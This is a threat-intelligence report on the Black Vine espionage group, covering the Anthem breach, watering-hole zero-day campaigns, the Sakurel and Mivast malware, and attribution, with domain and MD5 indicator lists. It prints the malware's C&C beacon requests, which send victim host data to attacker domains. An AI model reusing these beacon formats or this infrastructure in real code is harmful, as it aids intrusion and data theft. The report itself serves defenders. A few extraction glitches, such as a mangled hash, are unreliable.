

# **SECURITY RESPONSE**

# The Black Vine cyberespionage group

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Black Vine has been actively conducting cyberespionage campaigns since 2012 and has been targeting several industries, including aerospace, energy, and healthcare.



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# **OVERVIEW**

In early 2014, Anthem was a victim of an attack that exposed 80 million patient records. The breach, which came to light in February 2015, is believed to be the work of a well-resourced cyberespionage group which Symantec calls Black Vine.

Anthem wasn't Black Vine's only target. Black Vine has been actively conducting its campaigns since 2012 and has been targeting several industries, including aerospace, energy, and healthcare. The group has access to zero-day exploits distributed through the <u>Elderwood framework</u> and has used these exploits as the same time that other advanced attack groups have, such as <u>Hidden Lynx</u>.

Black Vine typically conducts watering-hole attacks against websites that are relevant to its targets' interests and uses zero-day exploits to compromise computers. If the exploits succeed, then they drop variants of Black Vine's custom-developed malware: Hurix and Sakurel (both detected as <u>Trojan Sakurel</u>), and Mivast (detected as <u>Backdoor Mivast</u>). These threats open a back door on the compromised computers and allow the attackers to steal valuable information.

Based on our own analysis of the campaigns, along with support from open-source data, Symantec believes that some actors of Black Vine may be associated with an IT security organization based in Beijing called Topsec.



# INTRODUCTION

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The discovery of the database queries soon led Anthem to realize that it was under attack from an advanced cyberespionage group.



### Introduction

On January 26, 2014, a systems administrator for the major healthcare provider Anthem discovered that their account had been compromised to access sensitive data from an internal database. Multiple queries had been run from the account, but the system administrator realized that someone else had executed the queries. The discovery of the database queries soon led Anthem to realize that it was under attack from an advanced cyberespionage group. This attack is believed to be the largest healthcare data breach to date, resulting in the theft of over <u>80 million records</u>. Symantec refers to the group behind the attack as Black Vine.

Details of the breach emerged in early February 2015, when the public learned of the magnitude of the attack against the US' second largest healthcare provider. The breach, conducted by Black Vine, has been one of the most highly publicized and reported attacks so far in 2015. However, this was only one of several of Black Vine's targeted campaigns, which spread across multiple industries.

Since 2012, Black Vine has been conducting targeted attacks against multiple industries, including the energy, aerospace, and healthcare sectors. The group uses advanced custom-developed malware, zero-day exploits, and other tactics, techniques and procedures (TTPs) typically associated with highly capable, organized attackers.

The purpose of this study is to document all of Black Vine's known attacks, beginning in 2012 and continuing to present day. Connecting multiple Black Vine campaigns over time not only shows the group's previous operations, but also demonstrates how the adversary has evolved. The intent of this report is to help organizations better understand Black Vine, including its TTPs, motivations, and its use of unique malware, and defend themselves against this threat.

## Key findings

After researching Black Vine's attacks over time, Symantec identified the following key findings:

- Black Vine is responsible for carrying out cyberespionage campaigns against multiple industries, including energy, aerospace, and healthcare.
- Black Vine conducts watering-hole attacks targeting legitimate energy- and aerospace-related websites to compromise the sites' visitors with custom malware.
- Black Vine appears to have access to the <u>Elderwood framework</u>, which is used to distribute zero-day exploits among threat groups that specialize in cyberespionage.
- Black Vine uses custom-developed malware and has resources to frequently update and modify its malware to avoid detection.

The findings documented in this report lead Symantec to believe that Black Vine is an attack group with working relationships with multiple cyberespionage actors. The group is well funded, organized, and comprises of at least a few members, some of which may have a past or present association with a China-based IT security organization called Topsec.



# TARGETS

Black Vine frequently conducts watering-hole attacks, which is when a legitimate website is compromised by an attacker and forced to serve malware to visitors of the website.



### Targets

Over the course of the Black Vine investigation, Symantec identified a number of targeted companies across several verticals. Analysis of attack data alone is misleading, due to Black Vine's attack vectors. Black Vine frequently conducts watering-hole attacks, which is when a legitimate website is compromised by an attacker and forced to serve malware to visitors of the website. As a result, an analysis of compromised computers alone does not portray an accurate picture of Black Vine's targeting objectives. Instead, this shows us the industries with the highest infection rates of Black Vine's malware.

Based on an analysis of Symantec's telemetry data, the following industries have been affected by Black Vine's activity:

- Aerospace
- Healthcare
- Energy (specifically, gas and electric turbine manufacturers)
- Military and defense
- Finance
- Agriculture
- Technology

To further determine Black Vine's intended target industries, Symantec assessed the companies who own the affected websites. Symantec also investigated attacks believed to have been conducted by Black Vine which didn't involve




Figure 1. Black Vine victims by region

watering-hole attacks. After assessing multiple attack verticals, Symantec believes that Black Vine's primary targeted industries have been aerospace and healthcare. It is likely that other industries that were affected by these attacks may have been secondary targets.

Black Vine's targets are spread across several regions, based on the IP address locations of the compromised computers. The vast majority of infections affected companies in the US, followed by China, Canada, Italy, Denmark, and India.



### Attackers' resources

Black Vine appears to have access to a wide variety of resources to let it conduct multiple simultaneous attacks over a sustained period of time. These resources include the development of custom malware, access to zero-day exploits, and attacker-owned infrastructure. Funding and resourcing for sustained cyberespionage campaigns against such a breadth targets can only be obtained through large public entities or privately owned organizations.

Our analysis showed three major variants of Black Vine's custom malware used in activity that we attribute to the attack group. The three variants of custom-developed malware are known as Hurix and Sakurel (both detected as <u>Trojan.Sakurel</u>), and Mivast (<u>Backdoor.Mivast</u>). These variants are believed to have been created by the same malware author(s) and use some of the same code and resources. For example, Hurix and Sakurel have the following similarities:

- Both Hurix and Sakurel gather the computer name of the target and encrypt data using the same algorithm.
- This algorithm uses division and addition with static variables 1Ah and 61h. The location of the algorithm in each threat is as follows:
  - Hurix: 402A75h
  - o Sakurel: 1000147Bh
- Similar data and parameters exist in the network communication parameters:
  - o Both variants use the parameter "type" which is initialized with zero value.
  - $\circ$  Both variants use a parameter that contains the same data, as seen below:
    - Hurix: cookie=iztkctcebtgbbyf-2135928347 (where "cookie" is the parameter, "iztkctcebtgbbyf" is the encrypted computer name, and "-2135928347" is the decimal equivalent of the hard disk serial number)
    - **Sakurel**: imageid=iztkctcebtgbbyf-2135928347 (where "imageid" is the parameter, "iztkctcebtgbbyf" is the encrypted computer name, and "-2135928347" is the decimal equivalent of the hard disk serial number)

All three variants of Black Vine's malware have the following capabilities:

- Open a pipe back door
- Execute files and commands
- Delete, modify, and create registry keys
- Gather and transmit information about the infected computer

The following unique traits were identified in the URL patterns seen in network communication requests between the malware and command-and-control (C&C) infrastructure from each variant:

- photoid=
- resid=
- imageid=
- vid=

For example:

- www.polarroute.com/newimage.asp/imageid=oonftwwtwwtzx1755999261&type=0&resid=139890
- www.polarroute.com/viewphoto.asp/resid=126546&photoid=oonftwwtwwtzx1755999261

In most cases, the malware is made to look like a technology-related application. Some of the themes used to disguise the malware include Media Center, VPN, and Citrix applications. The C&C server or malware-hosting domain is also themed similarly to the malware's disguise. For example, in one instance, a Sakurel sample was named MediaCenter.exe (MD5:1240fbbabd76110a8fC&C9803e0c3ccfb). The C&C domain that the malware communicated with used a Citrix theme: citrix.vipreclod.com



Additionally, most of the analyzed malware samples have been digitally signed by Korean software company DTOPTOOLZ Co or embedded software product developer MICRO DIGITAL INC. Symantec has observed that the DTOPTOOLZ Co certificate has been used to sign a malicious binary in adware and malvertising campaigns which are unrelated to Black Vine activity. Both of the digital certificates previously used to sign Black Vine's malware have either expired or been revoked. The details on both of the certificates are as shown in Figures 2 and 3.

#### [+] DTOPTOOLZ Co.

Status	Certificate out of its validity period
Valid from	1:00 AM 8/28/2013
Valid to	12:59 AM 9/28/2014
Valid usage	Code Signing
Algorithm	SHA1
Thumbprint	6E752358D18B8B401A764ABE1AB9D6D5B42332C8
Serial number	47 D5 D5 37 2B CB 15 62 B4 C9 F4 C2 BD F1 35 87

- [+] VeriSign Class 3 Code Signing 2010 CA
- [+] VeriSign

Figure 2. DTOPTOOLZ CO digital certificate details

#### [+] MICRO DIGITAL INC.

Status	A certificate was explicitly revoked by its issuer.
Valid from	1:00 AM 3/21/2012
Valid to	12:59 AM 6/21/2014
Valid usage	Code Signing
Algorithm	SHA1
Thumbprint	3E49A89005AA19A9294F919ACE81169A33789638
Serial number	31 06 2E 48 3E 01 06 B1 8C 98 2F 00 53 18 5C 36

[+] VeriSign Class 3 Code Signing 2010 CA

Figure 3. MICRO DIGITAL INC. digital certificate details



# CAMPAIGNS

In all of the investigated Black Vine campaigns, the primary objective has been to gain access to their targets' infrastructure and steal information.



### Campaigns

The earliest known attack that Symantec attributes to Black Vine began in 2012. Since then, Symantec has observed Black Vine conducting multiple targeted campaigns. In all of the investigated Black Vine campaigns, the primary objective has been to gain access to their targets' infrastructure and steal information.

#### Energy

In late December 2012, security researcher Eric Romang <u>published a blog</u>, reporting that gas turbine manufacturer Capstone Turbine became a victim of a watering-hole attack. Symantec's investigation confirmed Romang's findings that during the attack, Capstone Turbine's legitimate domain, capstoneturbine.com, was serving an exploit for a zero-day bug known as the <u>Microsoft Internet Explorer 'CDwnBindInfo' Use-After-Free</u> <u>Remote Code Execution Vulnerability</u> (CVE-2012-4792). Users who browsed Capstone's website using vulnerable versions of Internet Explorer at the time were ultimately compromised with the Sakurel payload. Sakurel provided Black Vine with access to the compromised computers and their information. As previously mentioned, the Sakurel sample seen in this attack was digitally signed by MICRO DIGITAL INC.

Details about the Sakurel malware samples associated with the attack are as follows:

- MD5 hash: 61fe6f4cb2c54511f0804b1417ab3bd2
- C&C domain: web.viprclod.com
- Vulnerability: CVE-2012-4792
- Compile time: December 8, 2012 07:54:44

Additionally, the C&C domain used in the attack, web.viprclod.com, may be a typo-squat domain designed to pose as the legitimate domain VipeCloud.com. The legitimate website belongs to VipeCloud, which provides sales and marketing automation as a service. This could be a coincidence or re-used infrastructure from other unknown attacks. However, the domain was registered on December 10, 2012, just two days after the Sakurel samples that were used in energy-related attacks were compiled. Regardless, the C&C server theme is not constant with themes we would expect to see with energy-related targets.

The following information was used to register the attacker's C&C domain viprclod.com on December 10, 2012:

- Domain name: VIPRECLOD.COM
- Created on: 10-Dec-12
- Expires on: 10-Dec-13
- Last Updated on: 10-Dec-12
- Administrative contact:
  - o moon, today todaymoon321@gmail.com
  - $\circ$  xingfudadao
  - $_{\odot}$  sitemo, ai no 236963
  - $\circ$  Tanzania

Capstone Turbine is a US-based gas turbine manufacturer which specializes in micro turbine power along with heating and cooling cogeneration systems. Capstone Turbine's intellectual property in the research and development of energy and power technologies is likely what made it a target for cyberespionage.

On December 24, 2012, Black Vine targeted a second turbine power and technology manufacturer. While the details of this attack cannot be publicly disclosed, Sakurel was also used in this attack. Considering how Back Vine conducted multiple waves of zero-day attacks and targeted turbine manufacturers, it's likely that the attack group's primary targeted industries at the time were involved in energy-related technologies.



#### Aerospace

In mid-2013, a <u>third-party blog</u> documented how a Citrix-themed lure was used in targeted attacks against a global airline to deliver the Hurix malware. According to the blog, the malware was delivered through spear-phishing emails sent to specific employees at the airline. The emails included a URL that directed the user to download Hurix to their computer. Unfortunately, Symantec did not have access to the data needed to validate the claims made in the blog. We are including a high-level summarization of the attack for documentation purposes.

In February 2014, Black Vine compromised the website of a European aerospace company. The attackers gained access to the organization's domain and leveraged its home page to compromise the website's visitors. The watering-hole attack was likely conducted to target more people in the aerospace industry. Similar to the attacks against energy-related targets in 2012, the attackers exploited a new zero-day bug known as the <u>Microsoft</u> <u>Internet Explorer Use-After-Free Remote Code Execution Vulnerability</u> (CVE-2014-0322). The payload of the attack was an updated version of Sakurel. Details on the Sakurel sample identified in the attack are as follows:

- MD5 hash: c869c75ed1998294af3c676bdbd56851
- C&C domain: oa.ameteksen.com
- Vulnerability: CVE-2014-0322
- Compile time: July 16, 2013 03:44:36

Once the victim was infected, Sakurel made the following network call to the C&C domain oa.ameteksen.com:

GET /script.asp?resid=93324828&nmsg=del&photoid=iztkctcebtgbbyf-2135928347 HTTP/1.1

The C&C domain ameteksen.com was registered with the following details:

- Domain name: AMETEKSEN.COM
- Registrar URL: http://www.godaddy.com
- Updated date: 2013-10-15 05:15:20
- Creation date: 2013-10-15 05:06:32
- Registrar expiration date: 2014-10-15 05:06:32
- Registrar: GoDaddy.com, LLC
- Registrant country: China
- Name: ghregjr ngrjekg
- Street: kwjfhrjkgh
- City: rjekteyu
- State/Province:
- Postal code: 37182
- Country: China
- Phone: +86.3781263856
- Email: dobbin.pacheco@aol.com

Black Vine likely created the domain ameteksen.com to disguise it as the legitimate ameteksensors.com or ametek.com, owned by aerospace and defense contractor Ametek.

During our investigation of Black Vine's aerospace-related attacks, Symantec discovered that the group used an unusual tactic. After the Sakurel payload was initially run on the victim's computer, the malware made changes to the victim's host file. The host file is normally used by the Windows operating system as a mechanism to statically map a domain to an IP address, rather than using a network-based domain name system (DNS) lookup. Oddly, Black Vine's modifications to the host file added static entries resolving the legitimate domains to their legitimate IP addresses.

Altering a host file to map a domain to its legitimate IP address is unusual, because the default DNS requests would provide the same mapping. This type of tactic would usually be seen in instances where an attacker wanted to redirect a legitimate domain to their own malicious infrastructure in order to steal credentials or infect the target with additional malware. However, altering the host file on the infected computer could allow the victim to discover that their computer had been compromised.



The Sakurel samples seen in Black Vine's attack against one aerospace industry victim modified the victim's host file to redirect the legitimate URLs and IP addresses in Table 1.

While investigating this attack, multiple aerospace-themed domains were discovered which could be traced back to Black Vine. The domains www.savmpet.com and gifas. asso.net were used sometime between late January and mid-February 2014. Additionally, <u>Symantec</u> and <u>multiple third-party sources</u> previously reported that these domains were used in targeted attacks against the aerospace industry.

The malicious domain gifas.assso.net was likely created to disguise it as the legitimate European aerospace industry association

Table 1. Domains and IP addresses added to modified host files			
Domain	IP address		
csg.secure.[VICTIM DOMAIN]	217.108.[REMOVED]		
ctx.secure.[ VICTIM DOMAIN]	217.108.[REMOVED]		
fdm.secure.[ VICTIM DOMAIN]	217.108.[REMOVED]		
qa.fdm.secure.[ VICTIM DOMAIN]	217.108.[REMOVED]		
qa.indigo.secure.[ VICTIM DOMAIN]	217.108.[REMOVED]		
pi.secure.[ VICTIM DOMAIN]	217.108.[REMOVED]		
qa.secure.[ VICTIM DOMAIN]	217.108.[REMOVED]		
qasd.secure.[ VICTIM DOMAIN]	217.108.[REMOVED]		
sd.secure.[ VICTIM DOMAIN]	217.108.[REMOVED]		
int.tcua.secure.[ VICTIM DOMAIN]	217.108.[REMOVED]		
qa.tcua.secure.[ VICTIM DOMAIN]	217.108.[REMOVED]		
secure.[ VICTIM DOMAIN]	217.108.[REMOVED]		

website gifas.asso.fr. During the time of this investigation, the gifas.asso.net domain was being used to deliver malware and the referring page was www.savmpet .com.

The numbers of concurrent attacks conducted by Black Vine against organizations within the aerospace industry are unknown. However, Symantec assesses with moderate confidencebelieves that multiple targeted campaigns took place in early to mid-2014. Targeted cyberespionage operations against aerospace-related organizations with custom malware and the use of zero-day exploits fit the TTPs typically associated with a well-funded public or private organization attacker.

#### Healthcare

In February 2015, a major cyberespionage campaign targeting the healthcare industry was publicly disclosed. The breach involved healthcare company Anthem, which was affected by an attack that led to the exposure of over 80 million patient records. Initial reports claimed that Anthem identified the breach on January 26, 2015, when a system administrator discovered that a database query had been run with their own credentials without their knowledge. Shortly after this discovery, Anthem realized the magnitude of the breach, which likely began in May 2014. Based on the samples analyzed in our investigation, Symantec identified that the Black Vine malware

variant known as Mivast was used in the Anthem breach. Other third-part vendors also cited Mivast as the malware used in the Anthem attack.

Similar to other Black Vine attacks, the DTOPTOOLZ Co digital signature was used to sign the Mivast binary. Additionally, the attackers used multiple domains designed to pose as healthcareand technology-related organizations in this breach. These domains were identified on Black Vine's infrastructure, as detailed in Table 2.

Table 2. Domains disguises as healthcare and technology companies			
Domain	Registrant address	Date created	
ssl-vait.com	li2384826402@yahoo.com	May 17, 2014	
ssl-vaeit.com	li2384826402@yahoo.com	May 17, 2014	
sharepoint-vaeit.com	li2384826402@yahoo.com	May 20, 2014	
we11point.com	e59e@qq.com	April 21, 2014	
healthslie.com	allbody@googese.com	April 24, 2014	
prennera.com	rgreeyfue76gj@gmail.com	September 12, 2013	
topsec2014.com	topsec_2014@163.com	June 5, 2014	

Black Vine does not usually register domains with the same email address. The registrant address "li2384826402@yahoo.com" appears to belong to a domain reseller and is likely not directly associated with Black Vine.



Table 3 includes details on a few of the Mivast samples found in the Anthem breach.

Table 3. Mivast sample details observed in Anthem breach			
MD5 hash	C&C domain	Compile time	
98721c78dfbf8a45d152a888c804427c	extcitrix.we11point.com	December 20, 2013, 01:34:53	
230d8a7a60a07df28a291b13ddf3351f	sharepoint-vaeit.com	May 23, 2014, 09:07:49	

It is unclear what

mechanisms were used to

deliver the malware. It is likely that the threat was delivered through spear-phishing emails, since a wateringhole attack was never seen or reported in the breach. The malware itself was disguised using Citrix and Juniper VPN lures, indicating that the initial attack may have been aimed at Anthem's technical staff.

### Who is behind Black Vine?

We analyzed the group's infrastructure, resources, and attack patterns in order to find out who the Black Vine attackers could be and what their motivations are. We also researched open source data, which suggests that some actors of Black Vine may be associated with a Beijing-based company known as Topsec.

#### **Topsec association**

<u>A blog from Threat Connect</u> noted that the registration information for infrastructure used in the Anthem breach leads back to a Chinese origin. Infrastructure associated with the Mivast malware sample (MD5:230D8 A7A60A07DF28A291B13DDF3351F) seen in the Anthem attacks resolved to IP address 192.199.254.126. The

domain topsec2014.com was one of only a few domains hosted on this IP address close to the same time frame that Mivast accessed C&C infrastructure hosted on the same IP address.

The topsec2014. com domain can be traced back to the registrant address topsec2014@163.com, which is believed to be associated with the similar email address TopSec\_2014@163.com. The topsec2014 domain and the previously mentioned email addresses are associated with an organization called Topsec.

**Beijing Topsec Network Security** 天融信 Technology Home TOPSEC is the Leading Network Security Enterprise of China. It is the earliest and largest high-tech enterprise committed in the technical research, product development and security service in the network security area. At the same time, TOPSEC is striding forward to collectivize and internationalization; strive to become a competitive enterprise of China. TOPSEC was founded in 1995, the headquarter and its R&D center are located in Beijing. It has 32 branches in almost every province in China, such as Shanghai, Guangzhou, Harbin, Shenyang, Xi'an, Jinan, Huhehot, Chengdu and Shenzhen, etc. More than 1000 staff working in the area of information security, R&D professionals, security consultants and solution services. Website Industry Туре http://www.topsec.com.cn Computer & Network Security **Privately Held** Headquarters **Company Size** Founded 4th FI Huakong Tower, #1 Shangdi 501-1000 employees 1995 East Rd, Haidian District Beijing, Beijing 100085 China

Figure 4. Details on the Topsec Network Security & Technology Company

that began as a research institute in Beijing and has since expanded to nearly every province of China. The organization focuses on security research, training, auditing, and products. Its customers include private businesses as well as public agencies. It also hosts an annual hacking competition known as the Topsec Cup and has reportedly hired known hackers to provide

security services and training.

Topsec is a company



#### Zero-day access and distribution

Multiple Black Vine campaigns have exploited previously unknown zero-day vulnerabilities to deliver the group's custom payload. Zero-day exploits typically require attackers to have an advanced skillset to identify and then determine how to exploit the unheard-of vulnerability. Generally, these exploits can be purchased through underground networks or may be created by specialized exploit developers. Both approaches require access to extensive financial resources.

In the case of Black Vine, Symantec has identified a pattern between this attack group's activity and other cyberespionage-related campaigns. These campaigns were seen using the same zero-day exploits but delivering a different payload. There appears to be shared access to zero-day exploits, which are distributed and used within days of one another among different attack groups, as the diagram in Figure 5 shows.

#### Concurrent CVE-2012-4792 zero-day exploits

In late December 2012, the Council on Foreign Relations' (CFR) website was compromised. The domain was reported as serving an exploit against an unknown vulnerability found in Internet Explorer 6, which was eventually labelled CVE-2012-4792. At the time of exploitation, there was no patch or remediation in place for the vulnerability, leaving victims using the vulnerable version of Internet Explorer helpless. Once the unpatched vulnerability was exploited, the attackers delivered a variant of <u>Backdoor.Bifrose</u> to the victim's computer. Based on Symantec's previous findings, Bifrose has been associated with another cyberespionage campaign. Symantec does not believe that either this adversary or the CFR compromise is associated with Black Vine.




Figure 5. Zero-day distribution and framework

As mentioned previously in this report, in December 2012, the Capstone Turbine website was compromised by Black Vine. Based on the first known instances where malicious code was spotted on both the CFR and Capstone websites, the attacks began on or around the same week as one another.

In both website compromises, the domains were serving exploits against the same Internet Explorer zero-day



vulnerability (CVE-2012-4792). The primary difference between the attacks was that the Sakurel payload was delivered in the Capstone attack while Bifrose was distributed in the CFR attack.

#### Concurrent CVE-2014-0322 zero-day exploits

In February 2014, there was another instance of two attack groups sharing the use of a zero-day exploit to deliver different payloads. Between February 11 and February 15, 2014, the websites of the US Veterans of Foreign Wars (VFW.org) and the home page of a large European aerospace manufacturer both became victims of watering-hole attacks. Similar to the 2012 attacks, the sites were forced to redirect to an exploit for a previously unknown zero-day vulnerability in Internet Explorer (CVE-2014-0322) in order to deliver a malicious payload. In the VFW.org attack, the delivered payload was a variant of <u>Backdoor.Moudoor</u>. Moudoor has been used in targeted attacks by a group previously reported by Symantec, referred as <u>Hidden Lynx</u>. The attack against the aerospace manufacturer took place simultaneously with the VFW attack and exploited the same zero-day vulnerability. The payload in the aerospace watering-hole attack was Black Vine's Sakurel malware.

#### **Elderwood link**

The simultaneous attacks between different attack groups seen in 2012 and 2014 exploited the same zero-day vulnerabilities at the same time, but delivered different malware. The malware used in these campaigns are believed to be unique and customized to each group. However, the concurrent use of exploits suggests a shared access to zero-day exploits between all of these groups. Symantec has previously identified the platform that has been used to deliver zero-day exploits to multiple attack groups as the Elderwood framework.

Previous attacks exploiting zero-day vulnerabilities sourced from the Elderwood framework are believed to have originated from attackers based in China.

#### Attribution

Black Vine appears to have access to resources to develop and update its own custom malware, and obtain zero-day exploits for its targeted attacks. This access and capability suggest that Black Vine is well funded and resourced. Black Vine's continuous campaigns against targeted industries, beginning in late 2012, fit the TTPs associated with organized cyberespionage actors.

Certain Black Vine infrastructure seems to be associated with the Beijing-based security organization Topsec. The relationship with Black Vine and Topsec provides evidence of the past or present geography of at least some actors involved in this group's activity.

Access to the Elderwood framework is another indicator that Black Vine is in working relationships with actors associated with widely reported cyberespionage attacks over the past several years. Along with this, Black Vine has been observed using Elderwood-distributed zero-day exploits simultaneously with other threat actors.



# CONCLUSION

Many of the campaigns analyzed by Symantec have been targeted attacks against the energy, aerospace, healthcare, and other industries.



### Conclusion

Black Vine has been conducting its attacks since at least 2012. Many of the campaigns analyzed by Symantec have been targeted attacks against the energy, aerospace, healthcare, and other industries. Black Vine used three variants of malware throughout the years known as Hurix, Sakurel, and Mivast. All three variants originated from one malware family that was likely created and updated by the same author or developer. Each variant has been updated to add features and is re-hashed to avoid detection.

In a number of attacks, the malware has been delivered onto the victim's computer after Black Vine has exploited a zero-day vulnerability primarily through watering-hole attacks. The zero-day exploits used in these attacks are believed to have been distributed through the Elderwood distribution framework. Additionally, the goal of all analyzed Black Vine campaigns has been cyberespionage.

The Anthem attack is one the most publicized and damaging attacks against the US health industry. However, the healthcare industry is only one of several large cyberespionage-based campaigns conducted by Black Vine. As outlined in the findings of our investigation, Black Vine has also attacked the aerospace and energy industries. By investigating and documenting the TTPs, malware, targets, and exploits used in these attacks over time, Symantec hopes to shed light on the history of the Black Vine attack group.

Symantec's goal in creating this report is to provide an assessment of this attack group to help organizations better understand the attackers and their motivations. Knowing the signs to identify Black Vine's activity will help analysts build better defenses and allow decision-makers to react to Black Vine attacks more effectively.

### Mitigation

Symantec has the following detections in place to protect against Black Vine's malware:

#### AV

- Backdoor.Mivast
- Trojan.Sakurel

#### IPS

<u>System Infected: Trojan.Sakurel Activity</u>



# APPENDIX





### Appendix

#### **Black Vine domains**

The following domains have been associated with Black Vine activity:

- ameteksen.com
- asconline.we11point.com
- assso.net
- capstoneturbine.cechire.com
- caref1rst.com
- careflrst.com
- EmpireB1ue.com
- extcitrix.we11point.com
- facefuture.us
- gifas.blogsite.org
- gifas.cechire.com
- healthslie.com
- hrsolutions.we11point.com
- icbcqsz.com
- me.we11point.com
- mycitrix.we11point.com
- myhr.we11point.com
- oa.ameteksen.com
- oa.ameteksen.com
- oa.technical-requre.com
- oa.trustneser.com
- polarroute.com
- prennera.com
- savmpet.com
- sharepoint-vaeit.com
- sinmoung.com
- ssl-vaeit.com
- ssl-vait.com
- topsec2014.com
- vipreclod.com
- vpn.we11point.com
- we11point.com
- webmail.kaspersyk.com
- webmail.vipreclod.com
- wiki-vaeit.com
- www.we11point.com
- ysims.com

#### Black Vine MD5s

The following MD5s represent malware and hack tools used in the Black Vine targeted attacks:

- 019a5f531f324d5528ccc09faa617f42
- 01c45a203526978a7d8d0457594fafbf
- 023ef99bc3c84b8df3f837454c0e1629
- 0334b1043c62d48525a29aeb95afcb09



- 04e8510007eea6bb009ab3b053f039db
- 04f17c37259533e301b01a8c64e476e6
- 05cd4bfeac3ad6144b5f5023277afa45
- 065aa01311ca8f3e0016d8ae546d30a4
- 06ec79f67ad8ede9a3bd0810d88e3539
- 07b678ed364b23688b02a13727166a45
- 0a2c6265a65a25e9bef80f55cdd62229
- 0a8a4cfa745b6350bea1b47f5754595e
- 0ae8ace203031f32e9b1ac5696c0c070
- 0b6a0ca44e47609910d978ffb1ee49c6
- 0d0f5c0416247bb1dd6e0e2be1114b67
- 0e5d1b941dcb597eb9b7dc1f0694c65f
- Off96f4dbfe8aa9c49b489218d862cd7
- 1077a39788e88dbf07c0b6ef3f143fd4
- 1098e66986134d71d4a8dd07301640b1
- 116dbfd8f5b6c5a5522d3b83a3821268
- 121320414d091508ac397044495d0d9c
- 124089995494be38d866de08c12f99ef
- 1240fbbabd76110a8fc29803e0c3ccfb
- 127cd711193603b4725094dac1bd26f6
- 1371181a6e6852f52374b4515aaa026a
- 13e99782f29efa20a2753ac00d1c05a0
- 1472fffe307ad13669420021f9a2c722
- 15ccb0918411b859bab268195957c731
- 1856a6a28621f241698e4e4287cba7c9
- 1893cf1d00980926f87c294c786892d2
- 191696982f3f21a6ac31bf3549c94108
- 1a6c43b693bb49dad5fe1637b02da2c6
- 1b826fa3fd70a529623ed1267944cee5
- 1d016bb286980fd356cab21cdfcb49f4
- 1de5db7cef81645f3f0e7aabdb7551a8
- 1ff57a7aa2aa92698356f6c157290a28
- 205c9b07c449a9c270aabe923123c0c1
- 21131bce815f2cb1bc0eb1fbf00b3c25
- 21ee6c85f431c2aa085b91ac0c86d27f
- 230d4212692c867219aba739c57f0792
- 23169a0a2eee3d12fde0f3efd2cd55f1
- 2414d83e97cb4c442b5594c6fbafe045
- 2567d2bbcce5c8e7dcabcd2c1db2a98a
- 276f06196001dcfa97a035509f0cd0aa
- 29bd6cfc21250dfa348597a21a4a012b
- 2adc305f890f51bd97edbece913abc33
- 2ca3f59590a5aeab648f292bf19f4a5e
- 2f23af251b8535e24614c11d706197c3
- 2ff61b170821191c99d8b75bd01726f2
- 33be8e41a8c3a9203829615ae26a5b6e
- 34b7aa103deefbe906df59106683cc97
- 34db8fb5635c7f0f76a07808b35c8e55
- 352411e5288b2c6ea5571a2838c8f7f3
- 360273db9ac67e1531257323324d9f62
- 372aa07662fb5779c8bf16d46fb58acb
- 3759833848a8cd424bf973d66e983e91



- 3859b0ea4596d8f47677497d09bcc894
- 388a7ae6963fd4da3ec0a4371738f4e0
- 391c01bdbeb5975c85cee0099adb132c
- 3a1df1ec3ef499bb59f07845e7621155
- 3b70ab484857b6e96e62e239c937dea6
- 3d2c2fdd4104978762b89804ba771e63
- 3e0016d728b979b7f8fd77a2738047eb
- 3edbc66089be594233391d4f34ec1f94
- 3fc6405499c25964dfe5d37ee0613a59
- 3ff30fce107a01d3d17a9768abe6e086
- 41093a982526c6dc7dbcf4f63814d428
- 416e598fb1ed9a7b6ce815a224015cb8
- 416e831d583665352fe16fe9232d36cf
- 419ce8f53d5585abd144e9e76113639d
- 421bff8f5dd218727283a2914424eccc
- 4315274a5eda74cd81a5ec44980876e8
- 43e6a46d8789e1563e94ff17eff486d7
- 470e8dd406407b50483ce40de46660af
- 488c55d9a13c7fa8ee1aa0c15a43ab1e
- 492c59bddbcbe7cbd2f932655181fb08
- 4a6f45ff62e9ab9fe48f1b91b31d110e
- 4d8482da8730a886e4d21c5bfb7cd30e
- 4dc526eb9d04f022df9fa2518854bbb4
- 501db97a6b60512612909cfe959fbcd0
- 5382efbecccf8227c7adc443e229542f
- 5482deee917c374bab43dd83a4a6c722
- 5496cff5e3bf46448c74fbe728763325
- 55daa4271973bb71ad4548225675e389
- 567a33e09af45123678042e620f31769
- 586c418bf947a0ef73afd2a7009c4439
- 5a843bc0b9f4525b1ee512e1eba95641
- 5a894c18c5cc153f80699145edd1c206
- 5b27234b7f28316303351ea8bcfaa740
- 5b76c68f9ca61bfd8a5bcbf2817a1437
- 5bb780344a601f4eff9ce0c55daf4361
- 5dbdc2839e3f5c2dd35f3def42002663
- 5eea7686abeba0affa7efce4da31f277
- 5ff5916c9f7c593d1d589c97c571b45a
- 617eda7bcba4e3d5acc17663bbc964b3
- 62d4777dd8953743d26510f00b74f444
- 62e82c46647d2d2fe946791b61b72a4d
- 638304bf859e7be2f0fa39a655fdaffc
- 63ae83244a8d7ca1eef4e834eb0eb07f
- 63c0978e2fa715a3cad6fb3068f70961
- 63f171705b28a05c84b67750b7e0ebf7
- 64201ec97467910e74f40140c4aaa5ce
- 67112866e800b9dce2892cf827444d60
- 67fceab90a142e1e286bca0922dbffd3
- 69314300da7a4a0e95be545b804565dd
- 69374e5bcb38a82ef60c97ec0569ded3
- 6a273afa0f22d83f97d9fd2dc7dce367



- 6a7b2feed82d8d1746ac78df5a429bce
- 6bdf4e5b35b4cc5d3d519edc67086d7f
- 6c3523020a2ba0b7045060707d8833ea
- 6c4d61fedd83970cf48ef7fdd2a9871b
- 6d308fc42618812073481df1cd0452a7
- 71bbd661a61e0fee1f248f303af06f3f
- 7248d4b73d68cfc023d8d156c63f6b74
- 74eb66027ac6fa5a59632383e09915e2
- 77a25486d425825986d2c6306a61f637
- 7d2c9936bff1e716b8758376cd09505d
- 7ee7a9446d7cf886223274d809d375d6
- 80eb86542ce7ad99acc53a9f85b01885
- 81d74b0e9560f2bf780f12893d885f41
- 836a618341c6149e7c83e99755a7fd5f
- 848fcb062218ae3162d07665874429a7
- 8506064925a774a8d11d9fac374eb86a
- 895dc0a3adfafce2a74d733ff2a8754e
- 8b3de46ecb113cd1ee2d9ec46527358f
- 8b52cd1df70ef315bce38223ac7f4ec3
- 8f523f7fc73e52d54bb4e94dc44768b0
- 8feb7d6eae0ab9c1900fb6d0b236201b
- 90bc832fbaa6bbd7e4251c39473e5a4b
- 91569c57fc342161c479603f3b527c1d
- 930af711a1579f3e1326cdb6d0005398
- 9526e4abcacc4e4a55fa1b2fc2313123
- 96fab28f1539f3909a255436bc269062
- 97479fa13d9b96da33cdb49749fc2baf
- 97a6e9e93bc591baf588bada61559d6a
- 97fc2d9b514f3183ae7c800408e5c453
